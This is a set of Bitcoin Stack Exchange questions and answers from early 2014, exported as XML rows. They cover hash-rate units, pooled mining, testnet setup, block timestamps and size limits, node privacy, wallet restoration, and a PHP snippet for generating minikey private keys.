  <row Id="21498" PostTypeId="2" ParentId="9219" CreationDate="2014-02-01T11:43:31.523" Score="44" Body="&lt;p&gt;Mining capability is measured in the number of attempts to find a block a miner can perform. Each attempt consists of creating a unique block candidate, and creating a digest of the block candidate by means of the &lt;code&gt;SHA-256d&lt;/code&gt;, a cryptographic hashing function. Or, in short, a &lt;em&gt;hash&lt;/em&gt;. Since this is a continuous effort, we speak of &lt;strong&gt;&lt;em&gt;hashes per second or [H/s]&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Hash rate denominations&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1 kH/s is 1,000 (one thousand) hashes per second&lt;/li&gt;&#xA;&lt;li&gt;1 MH/s is 1,000,000 (one million) hashes per second.&lt;/li&gt;&#xA;&lt;li&gt;1 GH/s is 1,000,000,000 (one billion) hashes per second.&lt;/li&gt;&#xA;&lt;li&gt;1 TH/s is 1,000,000,000,000 (one trillion) hashes per second.&lt;/li&gt;&#xA;&lt;li&gt;1 PH/s is 1,000,000,000,000,000 (one quadrillion) hashes per second.&lt;/li&gt;&#xA;&lt;li&gt;1 EH/s is 1,000,000,000,000,000,000 (one quintillion) hashes per second.&lt;/li&gt;&#xA;&lt;li&gt;1 ZH/s is 1,000,000,000,000,000,000,000 (one sextillion) hashes per second.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Conversions&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1 MH/s = 1,000 kH/s&lt;/li&gt;&#xA;&lt;li&gt;1 GH/s = 1,000 MH/s = 1,000,000 kH/s&lt;/li&gt;&#xA;&lt;li&gt;1 TH/s = 1,000 GH/s = 1,000,000 MH/s = 1,000,000,000 kH/s&lt;/li&gt;&#xA;&lt;li&gt;and so forth&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;SI unit prefixes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The denomination of hash rates follows the &lt;a href=&quot;https://en.wikipedia.org/wiki/SI#Prefixes&quot; rel=&quot;noreferrer&quot;&gt;International System of Units (SI)&lt;/a&gt;. Hereby, the prefixes &lt;em&gt;kilo&lt;/em&gt;, &lt;em&gt;mega&lt;/em&gt;, &lt;em&gt;giga&lt;/em&gt;, &lt;em&gt;tera&lt;/em&gt;, &lt;em&gt;peta&lt;/em&gt;, &lt;em&gt;exa&lt;/em&gt;, and &lt;em&gt;zetta&lt;/em&gt; each translate to an increase by a factor of one thousand. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note, that the symbol for kilo is a lower-case &quot;k&quot;. As &quot;K&quot; is the symbol for &#xA;&lt;a href=&quot;https://en.wikipedia.org/wiki/Kelvin&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;kelvin&lt;/em&gt;&lt;/a&gt;, the unit of thermodynamic temperature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following table from &lt;a href=&quot;https://en.wikipedia.org/wiki/Metric_prefix&quot; rel=&quot;noreferrer&quot;&gt;Wikipedia&lt;/a&gt; shows an overview of the prefixes, symbols, and factors they correspond to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DDKSV.png&quot; alt=&quot;Metric prefixes&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Inconsistency of kilobyte, megabyte, and gigabyte&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The computer industry's use of kilobyte, megabyte, and gigabyte is inconsistent with the SI. The Joint Electron Device Engineering Council (JEDEC) has redefined the prefixes kilo, mega and giga in relation with bit and byte as powers of 1024 instead of 1000. Higher prefixes were not redefined by JEDEC. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to avoid this inconsistency, the International Electrotechnical Commission (IEC) has proposed the &lt;a href=&quot;https://en.wikipedia.org/wiki/Binary_prefix&quot; rel=&quot;noreferrer&quot;&gt;binary prefix&lt;/a&gt; which uses &lt;em&gt;kibi&lt;/em&gt; [Ki], &lt;em&gt;mebi&lt;/em&gt; [Mi], and &lt;em&gt;gibi&lt;/em&gt; [Gi] for 1024¹, 1024², and 1024³ respectively. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following table from &lt;a href=&quot;https://en.wikipedia.org/wiki/Binary_prefix&quot; rel=&quot;noreferrer&quot;&gt;Wikipedia&lt;/a&gt; gives an overview. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C1Jch.png&quot; alt=&quot;Binary prefixes&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2018-04-16T04:57:51.170" LastActivityDate="2018-04-16T04:57:51.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21499" PostTypeId="1" CreationDate="2014-02-01T13:50:56.770" Score="2" ViewCount="663" Body="&lt;p&gt;Been working my way trough the main.cpp trying to see where this value is grabbed if at all. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need a way to check how many coins have been mined regardless of block count. For example if every block has a random value how would one go about storing coins mined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Continuously getting the value of the previous block and adding it to a coins mined int would be one solution, but where in main.cpp would it be best to do this and how? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would need to be able to apply this value for generation of new blocks in GetBlockValue()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this value already parsed somewhere when parsing the previous block? Or is it disregarded seeing as the original bitcoin and litecoin had a set value pr block + fees?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would really appreciate assistance in this matter. Or an extremely well commentated main.cpp.&lt;/p&gt;&#xA;" OwnerUserId="12970" LastActivityDate="2014-02-01T13:50:56.770" Title="How to determine how many coins have been mined regardless of block count in main.cpp" Tags="|block|value|random|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21500" PostTypeId="1" AcceptedAnswerId="21993" CreationDate="2014-02-01T16:02:00.523" Score="6" ViewCount="2450" Body="&lt;p&gt;After a few weeks of searching for an answer, I decided to ask here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to accept a Bitcoin payment, to a specific wallet, and immediately, when the user approved the payment, to receive an indication that the payment was made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, I don't want to wait until it is verified in a block, which takes around 10 minutes, I need the approval in seconds, not minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I receive an indication that a Bitcoin transaction was occured to my wallet, in the last seconds?&lt;/p&gt;&#xA;" OwnerUserId="12997" OwnerDisplayName="Ohad Levi" LastEditorUserId="105030" LastEditDate="2020-06-10T17:27:16.047" LastActivityDate="2022-08-01T17:29:20.790" Title="Get notified of incoming Bitcoin transaction, as soon as it broadcasted" Tags="|bitcoin-core|bitcoind|zero-confirmation|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21503" PostTypeId="2" ParentId="20847" CreationDate="2014-02-01T18:38:03.317" Score="2" Body="&lt;p&gt;I can at least tell you what I did, on my iMac running OS X 10.9.1 (Mavericks).&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I ran Bitcoin-Qt, which immediately started synching.  I could see by the progress bar that if it's roughly linear, it would take 8 - 10 days to complete.  The nice thing about it was that I could see the directories it needed by what it created for itself in ~/Library/Application Support&lt;/li&gt;&#xA;&lt;li&gt;I downloaded the bootstrap.dat.torrent file from sourceforge.net&lt;/li&gt;&#xA;&lt;li&gt;Installed the deluge torrent app (deluge-torrent.org), and ran that to expand the bootstrap.dat file (I had never used the BitTorrent protocol before -- was pretty straightforward.).  It put the result in my home directory (14222116865 bytes).&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Quit the still laboring Bitcoin-Qt ... then renamed its directory so I could see what directories it required, and in case I had to go back to pick up where I left off:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;cd ~/Library/Application\ Support; mv Bitcoin BC_save&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Manually created the same directories so I'd have a place to put the bootstrap.dat file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;find BC_save -type d -print   # See what dirs are needed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mkdir -p Bitcoin/blocks/index; mkdir Bitcoin/blocks/chainstate&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;(Later Qt creates Bitcoin/blocks/database, but it wasn't there at this point.)&#xA;I'm surprised that more than just &quot;mkdir Bitcoin&quot; is necessary, but apparently you already tried that, so...)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Started up Bitcoin-Qt again.  It immediately &quot;adopted&quot; the directories I had created, and new files were appearing (e.g., wallet.dat).  The lower-left edge had a message indicating it was reading a file from the disk -- so it appeared to be working.&lt;/li&gt;&#xA;&lt;li&gt;An overnight run -- and it's already done.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12980" LastActivityDate="2014-02-01T18:38:03.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21505" PostTypeId="1" AcceptedAnswerId="21551" CreationDate="2014-02-01T19:32:23.767" Score="2" ViewCount="115" Body="&lt;p&gt;There is very good answer here: &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/3374/how-to-redeem-a-basic-tx&quot;&gt;How to redeem a basic Tx?&lt;/a&gt; &#xA;It works great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the algorithm is only for uncompressed addresses/keys, how can I change it to deal with compressed ones?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the second question - how should I change the procedure to redeem several inputs?&lt;/p&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-02-02T16:10:22.020" Title="How do you redeem a compressed key?" Tags="|import|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21506" PostTypeId="1" CreationDate="2014-02-01T19:58:26.163" Score="2" ViewCount="3147" Body="&lt;p&gt;It is saying that in order to stay anonymous, it is usefull to use Tor whenever connecting to the Bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How does someone can discover my ip adress if I'm &lt;strong&gt;simply connecting&lt;/strong&gt;&#xA;to the bitcoin network through bitcoin-qt without doing any&#xA;transaction ? (I assume the IP are display only during bitcoin&#xA;transaction)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Let's say the &lt;strong&gt;only&lt;/strong&gt; transaction i'm doing is &lt;strong&gt;receiving&lt;/strong&gt; bitcoin with&#xA;bitcoin-qt (not sending) and without using Tor. Does my identity is&#xA;also exposed ?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="6467" LastEditorUserId="6467" LastEditDate="2014-02-01T20:04:00.393" LastActivityDate="2014-04-03T04:13:12.037" Title="Is it possible to know my ip address by simply connecting to the Bitcoin network?" Tags="|blockchain|privacy|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21507" PostTypeId="2" ParentId="21506" CreationDate="2014-02-01T20:38:43.853" Score="0" Body="&lt;p&gt;As soon as you start the Bitcoin-Qt you connect to many networks because it is peer-to-peer network and people connect to your computer as well so yes your IP is out there on the internet whether you do any transaction or not.&lt;/p&gt;&#xA;" OwnerUserId="10829" LastActivityDate="2014-02-01T20:38:43.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21508" PostTypeId="1" AcceptedAnswerId="21538" CreationDate="2014-02-01T21:41:14.387" Score="1" ViewCount="669" Body="&lt;p&gt;I am new to Bitcoin Development Environment. Trying to setup testnet environment with the help &lt;a href=&quot;http://suffix.be/blog/getting-started-bitcoin-testnet&quot; rel=&quot;nofollow&quot;&gt;this blog post&lt;/a&gt;.&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Bitcoin Folder&#xA;~/.bitcoin $ ls&#xA;bitcoin.conf  chainstate  db.log     peers.dat&#xA;blocks        database    debug.log  wallet.dat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;bitcoin.conf&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;telnet=1&#xA;server=1&#xA;rpcuser=userme&#xA;rpcpassword=mypassword&#xA;rpctimeout=30&#xA;rpcport=8332&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Running Bitcoin&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/.bitcoin $ bitcoin-qt&#xA;&quot;sni-qt/2440&quot; WARN  16:37:44.104 void StatusNotifierItemFactory::connectToSnw() Invalid interface to SNW_SERVICE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12543" LastActivityDate="2014-02-02T12:35:48.640" Title="Bitcoin Testnet is not working" Tags="|testnet|" AnswerCount="1" CommentCount="1" ClosedDate="2014-02-09T21:10:05.047" ContentLicense="CC BY-SA 3.0" />
  <row Id="21511" PostTypeId="1" CreationDate="2014-02-01T23:15:55.677" Score="4" ViewCount="271" Body="&lt;p&gt;When I look at blockchain.info or blockexplorer.com, it shows the latest blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most recent block, #283653, has time 2014-02-01 22:42:08.&#xA;The previous block, #283652, has time 2014-02-01 22:45:57.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the previous block has a timestamp larger than the most recent block. How is this possible?&lt;/p&gt;&#xA;" OwnerUserId="4273" LastActivityDate="2014-02-02T02:11:03.440" Title="Why are the blocks out of order?" Tags="|blockchain|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ClosedDate="2020-11-05T14:39:33.457" ContentLicense="CC BY-SA 3.0" />
  <row Id="21512" PostTypeId="1" AcceptedAnswerId="21520" CreationDate="2014-02-01T23:40:29.543" Score="1" ViewCount="14261" Body="&lt;p&gt;How can I restore my dogecoin wallet backup? It was created by the dogecoin android client and lives in my Google Drive account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/324/how-can-i-restore-my-wallet&quot;&gt;This question already exists&lt;/a&gt;, but no answer is given for Android (and dogecoin &lt;em&gt;might&lt;/em&gt; be different, I guess).&lt;/p&gt;&#xA;" OwnerUserId="12987" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2016-01-05T13:39:06.597" Title="How can I restore my dogecoin wallet (android client)" Tags="|wallet|security|backup|dogecoin|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21513" PostTypeId="1" CreationDate="2014-02-01T23:51:53.730" Score="15" ViewCount="3661" Body="&lt;p&gt;The idea of decentralised Bitcoin-fiat exchanges has been floating around. (For example &lt;a href=&quot;http://www.mastercoin.org/&quot;&gt;Mastercoin&lt;/a&gt;, &lt;a href=&quot;http://www.ethereum.org/&quot;&gt;Ethereum&lt;/a&gt; and Bitshares claim to be able to do it.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would such a decentralised exchange work?&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2019-01-03T12:04:07.570" Title="How would a decentralised exchange work?" Tags="|exchanges|" AnswerCount="6" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21514" PostTypeId="1" CreationDate="2014-02-02T00:42:49.797" Score="3" ViewCount="1865" Body="&lt;p&gt;FAQ says it's possible to use vanitygen to search for a match to a complete address yet when I input a complete address I get an &quot;is too long&quot; error message. Is there a way to run vanitygen using a complete public address?&lt;/p&gt;&#xA;" OwnerUserId="12988" LastEditorUserId="5406" LastEditDate="2014-02-02T01:19:11.627" LastActivityDate="2017-10-18T17:15:56.070" Title="Is it possible to generate a complete public address with vanitygen?" Tags="|address|vanitygen|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21516" PostTypeId="2" ParentId="21514" CreationDate="2014-02-02T01:15:35.313" Score="3" Body="&lt;p&gt;It's so unlikely to succeed that it is not being offered. One could be tempted to say it's not possible:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your chances are along the lines of &lt;strong&gt;1 to 2^160&lt;/strong&gt;. That is 1 to 4.666587*10^172, or very roughly rounded, &lt;strong&gt;1 to 5 followed by 172 zeroes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To put that in perspective, if you could create a billion addresses per second, the expected time to find a collision would still be &lt;strong&gt;longer than the age of the universe&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-02-02T09:31:01.420" LastActivityDate="2014-02-02T09:31:01.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21517" PostTypeId="1" CreationDate="2014-02-02T01:19:12.533" Score="2" ViewCount="296" Body="&lt;p&gt;When I mine in a pool, I see the number of shares and stale ones. What does this mean? What is a share? What the guiminer (the mining program) receives and what it sends? It sends it to whom? How the other end actually trusts that my computer has indeed done so many hashes per second?&lt;/p&gt;&#xA;" OwnerUserId="11969" LastEditorUserId="5406" LastEditDate="2016-04-17T20:48:06.020" LastActivityDate="2016-04-17T20:48:06.020" Title="What happens on my computer when I mine in a pool?" Tags="|mining-pools|mining-software|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21518" PostTypeId="2" ParentId="21517" CreationDate="2014-02-02T02:02:30.123" Score="2" Body="&lt;p&gt;Regular mining is repeatedly inserting different nonces into the block then hashing it until you find a nonce that makes a hash that is smaller than the difficulty.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pooled mining is just like this except you don't use the full difficulty, you just have to be good enough for a much easier difficulty that the pool assigns to you. When you find a nonce that is good enough for the pool difficulty, then you tell the pool that nonce. That is a share. The pool verifies that the the nonce is good enough so the pool knows that you did the work. So the number of shares that you send tell the pool that you had to do so much work to find them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You receive in the first place a block to mine with that you put the nonces into. You also receive a difficulty that the pool wants you to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You send the nonce that was good enough for the difficulty. You send this to the pool. You never interact with the network at large.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A stale share is a share that you mined on a block that isn't valid anymore. If the pool sends you a block to mine on, then someone else finds a new block, then you find a share on the old block, your share is worthless now, so it is stale.&lt;/p&gt;&#xA;" OwnerUserId="12990" LastActivityDate="2014-02-02T02:02:30.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21519" PostTypeId="2" ParentId="915" CreationDate="2014-02-02T02:11:03.440" Score="4" Body="&lt;p&gt;Block timestamps are not very accurate and are allowed to be up to several hours off. It is difficult for a decentralized network to come to an agreement on an official time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reasons that it might be inaccurate are different system times, lag, and also miners often change the time by small amounts once they have tried all possible nonces. This allows them to get new hashes using the old nonces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Block_timestamp&quot; rel=&quot;nofollow&quot;&gt;Here are the rules of what timestamps are allowed.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12990" LastActivityDate="2014-02-02T02:11:03.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21520" PostTypeId="2" ParentId="21512" CreationDate="2014-02-02T02:25:05.360" Score="2" Body="&lt;p&gt;I just hit the option softkey and a menu popped up. Then I tapped &quot;Back up Keys&quot; then tapped &quot;Restore private keys&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tlaEo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tlaEo.png&quot; alt=&quot;http://i.imgur.com/VzQ6V5q.png&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bt5v5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bt5v5.png&quot; alt=&quot;https://i.stack.imgur.com/bt5v5.png&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12990" LastEditorUserId="5406" LastEditDate="2016-01-05T13:39:06.597" LastActivityDate="2016-01-05T13:39:06.597" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21522" PostTypeId="1" CreationDate="2014-02-02T03:10:12.917" Score="11" ViewCount="12712" Body="&lt;p&gt;As per my understanding, every transaction is included in a block and the difficulty to find a block gets adjusted such that one block is found for every 10 minutes. Is it the case that all transactions occurred in those 10 minutes included in that block? Is there a limit on number of transactions that can be included in a block?&lt;/p&gt;&#xA;" OwnerUserId="11969" LastEditorUserId="5406" LastEditDate="2015-05-08T10:04:47.190" LastActivityDate="2017-11-10T12:20:22.980" Title="Is there a limit on number of transactions included in a block?" Tags="|blockchain|block|blocksize|" AnswerCount="1" CommentCount="0" ClosedDate="2014-02-22T03:24:49.940" ContentLicense="CC BY-SA 3.0" />
  <row Id="21524" PostTypeId="1" CreationDate="2014-02-02T03:51:29.953" Score="2" ViewCount="1347" Body="&lt;p&gt;My question is this: Given all the regulations in the USA, is it legal for me to start my own litecoin mining pool here in the US?&lt;/p&gt;&#xA;" OwnerUserId="12993" LastEditorUserId="5406" LastEditDate="2016-04-24T09:09:44.740" LastActivityDate="2018-01-22T08:05:10.810" Title="Is it legal to start a Litecoin mining pool in the US?" Tags="|mining-pools|litecoin|legal|usa|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="21525" PostTypeId="1" CreationDate="2014-02-02T05:41:26.120" Score="0" ViewCount="2101" Body="&lt;p&gt;How can I mine dogecoins on debian? I have tried to compile cudaminer but I can't find out how to install nvcc.&lt;/p&gt;&#xA;" OwnerUserId="12994" LastActivityDate="2014-02-02T06:12:25.957" Title="How can I mine dogecoins on debian?" Tags="|linux|dogecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21526" PostTypeId="2" ParentId="21522" CreationDate="2014-02-02T05:58:19.187" Score="16" Body="&lt;p&gt;&lt;strong&gt;Short answer:&lt;/strong&gt; Yes, there's a limit but it depends on transaction size, not count.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Basic summary of blocks&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Miners are incentivized to put as many transactions into a block as they can with fees. The more transactions, the more fees the miner collects, and that can mean an extra coin on top of block rewards. A block gets bigger as more transactions are added, this is the problem and the reason why fees need to be a certain amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Block size limit explained&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the more transactions a block has the larger it gets in size and larger blocks can fail to propagate, creating an orphan block. Orphan blocks cause a lot of pain to the network, the miner loses 25 BTC (current block reward) and certain confirmed transactions become unconfirmed. To prevent this from happening often, the Bitcoin protocol has a block size limit to enable speedy propagation and reduce anomalies. Each block has a size limit of 1,000,000 bytes. This can change based on community consensus and probably will some time in the future due to technological progress causing the internet to be faster and more robust. A valid block is below 1 million bytes in size, otherwise it just won't be accepted by most miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Which transaction make it in&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most miners choose transactions as profitably as possible. They go for largest fees and smallest transaction sizes. Since they can't claim all transactions they go for efficiency. You can have a transaction a little less than the size of a block be included and processed if it had a fee beating the collective fees of the next hundred most profitable small transactions that would normally be included in a block. This system is called priority, it's all about maximizing profit for the miner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Resulting amount of transactions&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction count in a block can range be reasonably anywhere. There have been blocks with &lt;a href=&quot;http://blockexplorer.com/block/00000000000008600ffc4669c5ae91364eeb142d96694dd6cd4452491cc9e3b8&quot; rel=&quot;noreferrer&quot;&gt;no transactions other than the block reward&lt;/a&gt;. I say reasonably because the max depends on the &lt;a href=&quot;https://en.bitcoin.it/wiki/Maximum_transaction_rate&quot; rel=&quot;noreferrer&quot;&gt;smallest possible transaction size (41 bytes + 9 bytes)&lt;/a&gt; divided by block size. The &lt;a href=&quot;https://blockchain.info/charts/n-transactions-per-block&quot; rel=&quot;noreferrer&quot;&gt;average&lt;/a&gt; seems to be around 350 transactions per block.&lt;/p&gt;&#xA;" OwnerUserId="11369" LastEditorUserId="64199" LastEditDate="2017-11-10T12:20:22.980" LastActivityDate="2017-11-10T12:20:22.980" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21527" PostTypeId="2" ParentId="21525" CreationDate="2014-02-02T06:12:25.957" Score="1" Body="&lt;p&gt;Definetly! Dogecoin uses the Scrypt algorithm so that means any Litecoin tutorial can be used as a drop-in replacement tutorial. Just be sure to use the proper pool address and port.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A google search brings me this nice looking guide:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.scribd.com/doc/132505278/Debian-GPU-Litecoin-cgminer-install-guide&quot; rel=&quot;nofollow&quot;&gt;Debian 6.0.7 - GPU Miner install guide&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11369" LastActivityDate="2014-02-02T06:12:25.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21528" PostTypeId="1" AcceptedAnswerId="21532" CreationDate="2014-02-02T07:03:09.713" Score="6" ViewCount="39487" Body="&lt;p&gt;I'm new to Bitcoin. I want to use PHP to create a bitcoin wallet on my own website. I came to here &lt;a href=&quot;https://blockchain.info/api/create_wallet&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/api/create_wallet&lt;/a&gt; but I don't know how to apply it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would like to have good tutorials from some websites or videos.&lt;/p&gt;&#xA;" OwnerUserId="12996" LastEditorUserId="2306" LastEditDate="2014-10-30T15:12:53.670" LastActivityDate="2020-04-26T00:07:43.560" Title="How to create bitcoin wallet by PHP" Tags="|wallet|php|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21529" PostTypeId="2" ParentId="21528" CreationDate="2014-02-02T07:45:44.677" Score="5" Body="&lt;p&gt;You can find your answer &lt;a href=&quot;http://wiki.uniformserver.com/index.php/SSL_PHP_Server_Key_and_Certificate_generation&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/mikegogulski/bitcoin-php/blob/master/src/bitcoin.inc#L567&quot; rel=&quot;noreferrer&quot;&gt;Snippet of code&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example from &lt;a href=&quot;https://bitcointalk.org/index.php?topic=81626.20&quot; rel=&quot;noreferrer&quot;&gt;bitcointalk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;  #Below is full list of available characters.&#xA;  #&quot;123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz&quot;&#xA;  $fp=fopen(&quot;/dev/urandom&quot;,&quot;r&quot;) or die;&#xA;  $available_chars=&quot;23456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnpqrstuvwxyz&quot;;&#xA;  do{&#xA;    $minikey='S';&#xA;    for($i=0;$i&amp;lt;29;$i++){&#xA;      while(($c=ord(fgetc($fp)))&amp;gt;=strlen($available_chars));&#xA;      $minikey.=substr($available_chars,$c,1);&#xA;    }&#xA;    $check=hash('sha256',$minikey . '?') . &quot;\n&quot;;&#xA;  }while(substr($check,0,2)!='00');&#xA;  fclose($fp);&#xA;  $priv=hash('sha256',$minikey);&#xA;  print &quot;Minikey: $minikey\n&quot;;&#xA;  print &quot;Privkey: $priv\n&quot;;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can find some useful information &lt;a href=&quot;https://en.bitcoin.it/wiki/PHP_developer_intro&quot; rel=&quot;noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6540" LastActivityDate="2014-02-02T07:45:44.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
